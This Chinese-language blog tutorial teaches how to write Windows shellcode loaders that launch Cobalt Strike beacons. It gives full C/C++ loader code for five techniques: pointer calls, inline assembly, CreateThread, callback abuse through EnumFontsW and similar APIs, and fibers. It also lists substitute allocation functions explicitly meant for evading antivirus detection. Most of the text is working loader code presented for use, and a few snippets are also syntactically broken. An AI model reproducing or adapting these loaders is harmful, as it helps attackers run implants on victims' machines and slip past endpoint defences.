学了那么久的前置知识,终于到了能上线的地方了!!!
不过这里还没到免杀的部分,距离bypass一众的杀毒软件还有很长的路要走!!
目录
1.ShellCode
2.ShellCode Loader的概念
3.可读可写可执行
4.ShellCode Loader的类型
1.指针调用
2.汇编调用
3.新建线程调用
4.回调函数
5.纤程加载
1.ShellCode
在学shellcode loader之前,我们得去先了解一下什么是ShellCode
Shellcode 是一段被设计成能够被计算机上的某个程序或系统调用执行的机器码。通常,Shellcode 的目标是利用操作系统或应用程序中的漏洞或弱点,以便于执行特定的任务,比如获取系统权限、执行远程命令、窃取信息等。
如果我们去看一个普通的木马的话(不考虑一些骚操作的执行的话)我们一般都是能看见这样的结构的!
或者我们直接去CS上也是能直接去生成一段裸的代码的话也是能看见我们的ShellCode的
生成出来的文件就是我们的Shell Code
2.ShellCode Loader的概念
有了ShellCode的知识的铺垫之后,我们就可以去讲我们的ShellCode Loade了
Shellcode loader(Shellcode加载器)是一种软件或代码片段,用于加载和执行Shellcode。它的主要目的是将Shellcode(通常是一段机器码,以二进制形式编写)注入到系统内存中,并使其在计算机上执行。
当然了,一个木马并不是一定需要shellcode loader的!!!
3.可读可写可执行
我们的ShellCode一定是要一块可读可写可执行的内存,那么我们怎么样才能拿到一块可读可写的内存呢???? 那么下面,我们先来介绍一个Windows的API!!!
VirtualAlloc //虽然这个API被杀的很死
我们去MSDN看看对应这个API的解释
VirtualAlloc 是Windows操作系统中的一个函数,用于在进程的虚拟地址空间中分配内存。它的作用是动态地为程序分配一块指定大小的内存区域,这块内存可以用于存储数据或者执行代码。
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
lpAddress
: 指定要分配的内存区域的起始地址。如果为 NULL,系统会自动选择一个合适的地址。dwSize
: 指定要分配的内存区域的大小(以字节为单位)。flAllocationType
: 指定分配类型,如MEM_COMMIT
表示分配物理存储器并将其初始化为零,MEM_RESERVE
表示为内存区域保留地址空间而不实际分配物理存储器等。flProtect
: 指定内存保护属性,如PAGE_EXECUTE_READWRITE
表示可执行内存并且可读写等。
并且它的返回类型是LPVOID 所以我们就可以用 void* 或者直接PVOID去接受它的返回地址
那么下面我们就来申请一块可读可写可执行的内存
void *p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
这样,我们的指针p就执行了一块可读可写可执行的内存地址的首地址
4.ShellCode Loader的类型
1.指针调用
首先我们申请一块内存肯定就不说了,然后我们需要将我们的ShellCode复制到这块内存上
- Memcpy
void* memcpy(void* destination, const void* source, size_t num);
所以我们的代码就可以初见端倪了
void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, buf, sizeof(buf));
当然了,memcpy是有返回值的,我们还可以写一段代码判断一下是否copy成功
void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (memcpy(p, buf, sizeof(buf)))
{
cout << "Memcpy OK :)" << endl;
}
else
{
cout << "Memcpy Failed :("<<endl;
}
执行结果如下
然后就是去执行了,怎么执行呢?? 这里我闷给出一种格式
((void(*)())p)();
- void(*)() 这是一个不返回任何值的函数指针的声明、
- ((void(*)())p) 这是强制将 p 转换成void(*)()的指针类型
- 然后((void(*)())p) () 就是函数调用
所以我们的完整的代码就是
void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (memcpy(p, buf, sizeof(buf)))
{
cout << "Memcpy OK :)" << endl;
}
else
{
cout << "Memcpy Failed :("<<endl;
}
((void(*)())p)();
当我们运行一下的时候,就能看见CS上线了!!!!!(终于上线了)
当然了,这样是绝对不免杀的(如果这免杀就离大谱了)
2.汇编调用
首先声明一下在64位的程序下,是不能直接写汇编的,所以我们一般都是用的32位的Shellcode
然后我们就来看以下代码
__asm
{
lea eax, buf;
call eax;
}
这段代码其实就是将BUF的地址给了eax ,然后直接用call 函数去执行 buf 地址的函数(强制改变它的EIP)
但是你会发现这样是不会上线的!! 因为我们的ShellCode 是放在了全局变量初,这块内存可读可写,但是不可执行!!!! 所以我们的代码时没有用的!!! 我们必须通过一行代码来让这块内存RWX
#pragma comment(linker, "/section:.data,RWE")
所以我们的代码就变成了这样
#include<iostream>
#include<windows.h>
using namespace std;
/* length: 797 bytes */
unsigned char buf[] = ""
#pragma comment(linker, "/section:.data,RWE")
int main()
{
__asm
{
lea eax, buf;
call eax;
}
return 0;
}
这样,就能上线了!!!
3.新建线程调用
创建线程会在新的线程上下文中执行 shellcode,这意味着 shellcode 的执行环境与主程序的环境是隔离的。如果 shellcode 导致了异常或者崩溃,主程序通常不会受到直接影响,而是会在独立的线程中进行处理。
我们首先来贴一段代码,然后再来对这段代码进行解释
unsigned char buf[] = "shellcode";
int main()
{
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
void* shellcode = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(shellcode, buf, sizeof(buf));
hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
上面大部分代码我们都是很熟悉的,这里我们要说的一下的就是我们的这个也是被杀的API
- CreateThread
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
其中对于各个参数的解释
lpThreadAttributes
:线程安全属性,通常为NULL
。dwStackSize
:新线程的栈大小,通常为0
表示使用默认大小。lpStartAddress
:线程函数的地址,即新线程将从这个函数开始执行。lpParameter
:传递给线程函数的参数,可以是任意类型的数据。dwCreationFlags
:线程创建的标志,通常为0
。lpThreadId
:输出参数,用于接收新线程的ID。
其中比较重要的就是lpStartAddress,lpThreadId。分别也就对应了我们的两个变量。 其中ID就没什么好说的了,我们来说一下那个线程函数的地址
(LPTHREAD_START_ROUTINE)shellcode
的作用是将shellcode
强制转换为LPTHREAD_START_ROUTINE
类型的函数指针。这样,在调用CreateThread
函数时,可以将转换后的函数指针作为线程的入口点,使得新线程从shellcode
函数开始执行。
然后还有一个函数就是
- WaitForSingleObject()
WaitForSingleObject()
是一个用于等待一个指定的对象(如线程、进程、事件、互斥体等)进入 signaled 状态的函数。
hHandle
:要等待的对象的句柄(handle)。可以是线程句柄、进程句柄、事件句柄等。dwMilliseconds
:等待的超时时间,单位是毫秒。如果设为INFINITE
(-1),表示无限等待,直到对象变为 signaled 状态。
这样,我们就能看懂我们一开始写的代码了
#include<iostream>
#include<windows.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")
/* length: 797 bytes */
unsigned char buf[] = "";
int main()
{
DWORD id;
HANDLE thread;
void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, buf, sizeof(buf));
thread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)p, NULL, NULL, &id);
WaitForSingleObject(thread, INFINITE);
return 0;
}
也是能成功上线的!!!!!
当然了,这也是不免杀的,只是一个loader而已
4.回调函数
还记得以前还没学习免杀的时候,就听过回调函数的大名,但是不知道现在回调函数的效果怎么样了!! 我们先来了解一下什么是回调函数
"回调函数" 是一种在编程中常见的概念,特别是在事件驱动的编程模型中经常用到。它指的是一种函数,通常作为参数传递给另一个函数,并在特定事件发生时由另一个函数调用(即“回调”),以便处理该事件或者进行适当的响应。
听不太懂? 没事,我用人话翻译一下
利用某些系统或应用程序接口(API),将 shellcode 的地址注册为回调函数。当特定条件满足时,系统或应用程序会调用该回调函数,从而间接执行 shellcode。
那么,他和上面的几种运行Shellcode的方式有什么不同呢??
隐蔽性强:通过合法的系统接口间接执行 shellcode,可以绕过一些安全检测和监控机制,因为通常系统并不会怀疑合法接口的使用。
对于直接操作内存,现代操作系统和安全软件可能会监视和拦截直接执行 shellcode 的操作,认为这是恶意行为,而通过回调函数,有可能AV并没有Hook这些函数,所以我们就能成功的运行ShellCode !!
那么我们先来贴一段代码
#include <Windows.h>
unsigned char shellcode[] = "shellcode";
int main() {
LPVOID address = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT,PAGE_EXECUTE_READWRITE);
memcpy(address, shellcode, sizeof(shellcode));
HDC dc = GetDC(NULL);
EnumFontsW(dc, NULL, (FONTENUMPROCW)address, NULL);
return 0;
}
前面两段我们非常熟悉,不多说,我们说说后面的部分!
HDC dc = GetDC(NULL);
EnumFontsW(dc, NULL, (FONTENUMPROCW)address, NULL);
首先通过GetDC获取屏幕设备的上下文句柄。
然后通过EnumFontsW这个函数在枚举每一个字体的时候,调用我们的Shellcode这个函数!!
所以就能看得懂我们这一段loader了
int main()
{
void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, buf, sizeof(buf));
HDC dc = GetDC(NULL);
EnumFontsW(dc, NULL, (FONTENUMPROCW)p, NULL);
return 0;
}
也是成功上线
当然了,回调函数还有很多,我们替换就是了
1. EnumTimeFormatsA()
2. EnumWindows()
3. EnumDesktopWindows()
4. EnumDateFormatsA()
5. EnumChildWindows()
6. EnumThreadWindows()
7. EnumSystemLocalesA()
8. EnumSystemGeoID()
9. EnumSystemLanguageGroupsA()
10. EnumUILanguagesA()
11. EnumSystemCodePagesA()
12. EnumDesktopsW()
13. EnumSystemCodePagesW()
5.纤程加载
这个我在我之前的Blog也说过一下(不过当时我并不懂是什么意思),现在我们可以来看看了
纤程是什么? 纤程是一种用户模式下的执行单元,不同于操作系统内核管理的线程。它由用户代码显式地创建和管理,而不像线程那样由操作系统内核来调度和管理。
我们还是来贴一段上线的代码
int main() {
UCHAR buf[] = "";
DWORD oldProtect;
BOOL ret = VirtualProtect((LPVOID)buf, sizeof buf,
PAGE_EXECUTE_READWRITE,&oldProtect);
PVOID mainFiber = ConvertThreadToFiber(NULL);
PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL);
SwitchToFiber(shellcodeFiber);
DeleteFiber(shellcodeFiber);
}
其实前面还是换汤不换药,我们直接来讲一下后面的新代码
PVOID mainFiber = ConvertThreadToFiber(NULL);
PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL);
SwitchToFiber(shellcodeFiber);
DeleteFiber(shellcodeFiber);
ConvertThreadToFiber(NULL)
函数将当前线程转换为主纤程。主纤程是在进程初始化时自动创建的纤程,它可以让当前线程参与到纤程的调度中。CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL);
函数用于创建一个新的纤程。SwitchToFiber(shellcodeFiber);
函数将当前线程切换到指定的纤程
所以我们就能看懂那一段代码了
#include<iostream>
#include<windows.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")
/* length: 797 bytes */
unsigned char buf[] = ""
int main()
{
void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
void* mainfiber = ConvertThreadToFiber(NULL);
void* shellfiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)(char *)buf, NULL);
SwitchToFiber(shellfiber);
return 0;
}
也是能成功上线的
当然了,Shellcode Loader还有很多的类型,这里只是介绍了一些最简单的Loader ,想免杀的话,你可以最简单的替换一下函数
GlobalAlloc()
CoTaskMemAlloc()
HeapAlloc()
RtlCreateHeap()
AllocADsMem()
ReallocADsMem()
当然了,最简单的换函数肯定是不能过的,接着你可以隐藏导入表(这个我后面找时间更新!!)
当然了,就算隐藏了导入表也是无法完成免杀的,所以怎么免杀 ?? 我们后面来说 !!!